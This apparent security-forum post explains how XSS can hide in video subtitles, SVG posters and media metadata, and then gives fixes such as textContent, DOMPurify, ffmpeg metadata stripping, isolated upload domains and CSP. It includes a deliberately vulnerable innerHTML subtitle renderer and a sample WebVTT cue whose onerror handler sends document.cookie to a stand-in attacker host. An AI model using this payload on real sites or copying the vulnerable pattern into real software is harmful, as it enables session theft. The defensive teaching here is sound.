XSS in Video Files via Subtitles & Metadata

x32x01
  • by x32x01 ||
Most developers think video files are safe. But the truth is scary 😬
Video files can hide XSS payloads inside subtitles, poster images, or metadata. If your app renders that content as HTML, attackers can execute JavaScript inside your users’ browsers.

This issue affects video players, custom JavaScript, and backend systems that don’t sanitize media content correctly.

Let’s break it down in a simple and practical way 👇

How XSS Gets Hidden Inside Video Files 🧠​

Many video-related files contain text or markup, not just media data.
Problems start when apps trust that content.

Common mistake ❌: rendering media-related text using innerHTML.

Here’s what usually happens:
  • Subtitles or metadata contain text
  • JavaScript inserts that text into the DOM
  • Browser parses it as HTML
  • 💥 XSS executes in page context


Common XSS Attack Vectors in Video Content 🎯​

1️⃣ Subtitle Files (WebVTT / SRT)​

Some players incorrectly interpret subtitle text as HTML.
Attackers inject tags like:
  • <img onerror=...>
  • <script>...</script>

2️⃣ SVG Poster Images 🖼️​

SVG is not just an image format.
It supports:
  • JavaScript
  • onload / onerror
  • Inline scripts

3️⃣ Video Metadata (MP4 / MKV)​

Fields like:
  • title
  • artist
  • comment
If rendered without sanitization → stored XSS.

4️⃣ Custom Players & Plugins​

Custom UI code using:
  • innerHTML
  • unsafe DOM APIs
= high risk 🔥


Vulnerable Example – Unsafe Subtitle Rendering ❌​

HTML​

HTML:
<video id="player" controls>
  <track id="track" kind="subtitles" src="subs.vtt" srclang="en" default>
</video>

JavaScript (❌ Vulnerable)​

HTML:
<script>
  const track = document.getElementById('track');
  track.addEventListener('load', () => {
    const cues = track.track.cues;
    for (let i = 0; i < cues.length; i++) {
      const el = document.createElement('div');
      el.innerHTML = cues[i].text; // 🚨 XSS risk
      document.body.appendChild(el);
    }
  });
</script>

Malicious subs.vtt​

Code:
00:00:00.000 --> 00:00:05.000
<img src=x onerror="fetch('https://evil.site/?c='+document.cookie)">
💥 Result: attacker steals cookies or runs JS in the victim’s browser.


Safe Rendering - How to Fix the Bug ✅​

Best Practice: Treat Media Text as Plain Text​

JavaScript:
// Safe: HTML will NOT be parsed
el.textContent = cues[i].text;

If You Need Formatting (Safe Way)​

Use a trusted sanitizer like DOMPurify:
JavaScript:
import DOMPurify from 'dompurify';

el.innerHTML = DOMPurify.sanitize(cues[i].text, {
  ALLOWED_TAGS: ['b', 'i', 'em', 'strong']
});
✔️ This blocks scripts while allowing basic formatting.


Server-Side Security - Must-Have Protections 🛡️​

1️⃣ Validate File Type Properly​

  • Check MIME type
  • Verify file signatures
  • Never trust file extensions alone

2️⃣ Strip Dangerous Metadata​

Bash:
ffmpeg -i input.mp4 -c copy -map_metadata -1 output.mp4

3️⃣ Re-Encode Uploaded Media​

Transcoding removes hidden payloads 🎯

4️⃣ Sanitize Subtitles & Posters​

  • Remove HTML tags
  • Convert to a safe internal format
  • Reject SVG posters if not needed

5️⃣ Scan Uploads​

Use:
  • antivirus scanners
  • content inspection tools


Architectural Defenses - Isolation is Powerful 🧱​

  • Serve uploads from a separate domain
    • uploads.example-cdn.com
  • This prevents:
    • cookie access
    • parent-origin attacks
Also:
  • Use strict CORS rules
  • Sandbox untrusted viewers with iframe sandbox


Security Headers That Reduce Impact 🔐​

Content Security Policy (CSP)​

Code:
Content-Security-Policy:
default-src 'self';
script-src 'none';
object-src 'none';

Other Important Headers​

  • X-Content-Type-Options: nosniff
  • X-Frame-Options: SAMEORIGIN
  • Referrer-Policy
These headers limit XSS damage even if a bug exists.


Player & Library Best Practices 🎥​

  • Use trusted players:
    • Video.js
    • Plyr
  • Keep them updated
  • Avoid risky custom plugins
  • Audit any code that touches captions or metadata


Quick XSS Defense Checklist ✅​

  • Reject subtitle & poster files with HTML/SVG
  • Sanitize captions (server + client)
  • Strip metadata using ffmpeg
  • Serve uploads from isolated domain
  • Apply strong CSP & nosniff
  • Keep video players updated
  • Test with malicious payloads
  • Monitor upload activity & logs


Final Takeaway 🚨​

Video files are not always safe.
XSS can hide inside:
  • subtitles
  • SVG posters
  • metadata
🚫 Never render untrusted media content as HTML.
✅ Sanitize, validate, isolate, and enforce CSP - and you’ll shut down the most common attack paths.
Stay safe 🔒🛡️
 
Last edited:
Related Threads
x32x01
Replies
0
Views
1K
x32x01
x32x01
x32x01
Replies
0
Views
205
x32x01
x32x01
x32x01
Replies
0
Views
1K
x32x01
x32x01
x32x01
Replies
0
Views
459
x32x01
x32x01
x32x01
Replies
0
Views
372
x32x01
x32x01
Register & Login Faster
Forgot your password?
Forum Statistics
Threads
712
Messages
721
Members
70
Latest Member
blak_hat
Back
Top